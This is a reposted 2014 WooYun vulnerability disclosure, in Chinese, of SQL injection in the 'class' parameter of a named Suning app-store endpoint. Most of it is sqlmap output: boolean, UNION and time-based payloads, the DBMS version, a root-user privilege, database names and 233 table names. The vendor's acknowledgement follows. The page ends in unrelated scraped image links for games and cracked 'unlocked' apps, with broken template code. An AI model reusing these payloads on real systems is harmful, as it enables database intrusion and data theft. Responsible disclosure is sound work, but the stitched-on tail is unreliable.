2014-05-11：细节已通知厂商并且等待厂商处理中
2014-05-12：厂商已经确认，细节仅向厂商公开
2014-05-22：细节向核心白帽子及相关领域专家公开
2014-06-01：细节向普通白帽子公开
2014-06-11：细节向实习白帽子公开
2014-06-25：细节向公众公开
sql注入
详细说明：我从苏宁易购官方客户端下载了“苏宁应用商店”这款APP..
进行了一番检测,获取到该链接:
http://appjson.suning.com/advertise.php?page=1&limit=2&sys=android&class=102
其中class参数存在注入..
---
Place: GET
Parameter: class
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: page=1&limit=2&sys=android&class=102 AND 5199=5199
Type: UNION query
Title: MySQL UNION query (NULL) - 10 columns
Payload: page=1&limit=2&sys=android&class=102 UNION ALL SELECT NULL,CONCAT(0
x7166637271,0x7a62704f57775474664d,0x71736a6771),NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: page=1&limit=2&sys=android&class=102 AND SLEEP(5)
---
[01:38:32] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.6
back-end DBMS: MySQL 5.0.11
[01:38:32] [INFO] fetched data logged to text files under 'C:\Python27\sqlmap\ou
tput\appjson.suning.com'
[*] shutting down at 01:38:32
---
[01:39:35] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.6
back-end DBMS: MySQL 5.0.11
[01:39:35] [INFO] fetching database users privileges
database management system users privileges:
[*] 'root'@'192.168.123.%' [1]:
privilege: USAGE
[01:39:36] [INFO] fetched data logged to text files under 'C:\Python27\sqlmap\ou
tput\appjson.suning.com'
[*] shutting down at 01:39:36
available databases [6]:
[*] information_schema
[*] suning
[*] suning_app_inner
[*] suning_ios
[*] suning_win
[*] test
Database: suning
[233 tables]
+--------------------------+
| Permission |
| action |
| group |
| temporary |
| activity |
| ad_indexfocus_img |
| ad_indexsoft |
| admin_group |
| admin_module |
| admin_promotion |
| admin_user |
| admin_user_new |
| app_client |
| app_count_app_day |
| app_count_app_hour |
| app_count_detail |
| app_count_device_day |
| app_count_mobile_day |
| app_count_user_day |
| app_device |
| app_imei |
| app_push_apps |
| app_push_log |
| app_software |
| app_sys |
| app_sys_cmd |
| app_temp |
| authorize |
| brand_ext_inner_map |
| brand_external |
| brand_mobile_ext |
| brand_model_map |
| bug_word |
| category |
| category_anzhi |
| category_icon |
| cloud_bootscreen |
| cloud_qrcode_statistics |
| cloud_res |
| ctrl |
| ctrl_copy |
| ctrltype |
| ctrltype_copy |
| department |
| developer |
| developer_appeal |
| developer_msg |
| device_info |
| device_statistics |
| district_day |
| district_hour |
| district_month |
| district_tol |
| district_week |
| down_detail |
| download |
| download_all |
| download_day |
| download_hour |
| download_month |
| download_tol |
| download_week |
| ego_ad_indexfocus_img |
| ego_ad_indexsoft |
| favority |
| feedback |
| feedback_detail |
| friend_links |
| game_ad_indexfocus_img |
| game_ad_indexsoft |
| game_download_all |
| game_download_day |
| game_download_hour |
| game_download_month |
| game_download_tol |
| game_guess |
| game_soft_ranking |
| game_topic |
| game_topic_info |
| guess |
| h5_category |
| h5_download_day |
| h5_download_hour |
| h5_download_month |
| h5_download_tol |
| h5_maintain_soft |
| h5_soft_tag |
| h5_software |
| h5_tag |
| http_log |
| imei_day |
| imei_hour |
| imei_month |
| imei_tol |
| install_day |
| install_hour |
| install_month |
| install_tol |
| install_week |
| ip_visit |
| keyword |
| list_column |
| log |
| logo_icon |
| manager |
| market |
| market_ad |
| market_cate |
| market_channel |
| market_channel_day |
| market_imei_channel |
| mobile_brand |
| model_drive |
| model_feedback |
| msg |
| msg_forbid |
| news |
| news_app_map |
| news_class |
| news_comment |
| order_soft |
| os_day |
| os_hour |
| os_month |
| os_tol |
| os_week |
| outer_category |
| page_ad_indexfocus_img |
| people_need |
| people_recommend |
| privilege |
| push_id |
| push_software |
| qrcode_channel |
| qrcode_channel_bak |
| qrcode_channel_url |
| qrcode_channel_url_bak |
| quick_entry |
| ratio_day |
| ratio_hour |
| ratio_month |
| ratio_tol |
| ratio_week |
| recommend |
| report |
| role_user |
| score |
| search_day |
| search_keywords |
| search_month |
| search_soft |
| search_soft_bak20140417 |
| search_tol |
| search_week |
| sms_statistics |
| sn_software |
| soft_guess |
| soft_ranking |
| soft_tag |
| soft_ver_log |
| software |
| software_bak20131017 |
| software_copy |
| software_log |
| software_log_copy |
| software_permission |
| software_pool |
| software_safe |
| spread_money |
| spread_operation |
| spread_promotion_goods |
| spread_promotion_setting |
| spread_reward |
| spread_soft_count_day |
| spread_software |
| spread_supplier |
| suit_feedback |
| suit_statistics |
| suit_statistics_day |
| suit_statistics_hour |
| suit_statistics_month |
| suit_version |
| suning_district |
| suning_store |
| suning_user |
| supplier |
| sys_ad |
| sys_ad_stat |
| sys_ad_stat_day |
| sys_brand |
| sys_brand_info |
| sys_cate |
| sys_soft |
| sys_topic |
| sys_topic_info |
| sys_word |
| tag |
| tag_app_map |
| term_district_day |
| term_district_hour |
| term_district_month |
| term_district_tol |
| term_imei |
| term_imei_day |
| term_imei_hour |
| term_imei_month |
| term_imei_tol |
| term_install |
| term_install_old |
| term_install_testlog |
| term_model_day |
| term_model_hour |
| term_model_month |
| term_model_tol |
| term_os_day |
| term_os_hour |
| term_os_month |
| term_os_tol |
| term_ratio_day |
| term_ratio_hour |
| term_ratio_month |
| term_ratio_tol |
| term_stat_by_imei_day |
| term_stat_by_pack |
| term_stat_by_pack_model |
| topic |
| topic_info |
| updatesoft_log |
| verify_reason |
| web |
| web_ad |
| web_notice |
| web_tag |
+--------------------------+漏洞证明：
修复方案：
你们更专业，话说不会还给10RANK把？求15-20RANK..
版权声明：转载请注明来源 魇@乌云 漏洞回应 厂商回应：危害等级：高
漏洞Rank：15
确认时间：2014-05-12 10:16
厂商回复：感谢您对苏宁易购的关注，正在安排人员对此漏洞进行修复。
暂无
版权与免责声明：
凡注明稿件来源的内容均为转载稿或由网友用户注册发布，本网转载出于传递更多信息的目的；如转载稿涉及版权问题，请作者联系我们，同时对于用户评论等信息，本网并不意味着赞同其观点或证实其内容的真实性；
![英雄棋士团(预下载)?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/yingxiongqishituanyuxiazai.jpg)
![美食小当家?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/meishixiaodangjia.png)
![2047?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/2047.jpg)
![荣誉指挥官(预下载)?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/rongyuzhihuiguanyuxiazai.png)
![繁荣美食市场物语?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/shouyoupic/fanrongmeishishichangwuyu.jpg)
![夸克浏览器 v4.2.1.138 好用的手机浏览器?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/kuakezuolanqi.jpg)
![移动办公软件 OfficeSuite Premium v10.18.28716 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/yidongbangongruanjian.jpg)
![乐秀视频编辑器 VideoShow v8.8.4 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/lexiushipinbianjiqi.png)
![X 浏览器 v3.3.9 一款小巧的安卓浏览器?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/x.jpg)
![安卓密码管理软件 Enpass v6.4.5.368 内购解锁版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/appimg/202007/anzhuomimaguanliruanjian.jpg)
![差分复制同步 FastCopy-M v3.6.3.51 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/FastCopy3.png)
![多标签页拓展 Clover v3.5.2 Build 19809 精简绿色版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/Clover.png)
![文件重命名 Advanced Renamer v3.85 Lite 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/Advanced_Renamer.png)
![网络防火监控 GlassWire Elite v2.1.166 绿色便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/GlassWire.png)
![影音播放器 Daum Potplayer v1.7.20538 美化便携版?=$bqr['banben']?>](http://shouyouimg.cnzzla.com/d/file/softimg/PotPlayer.png)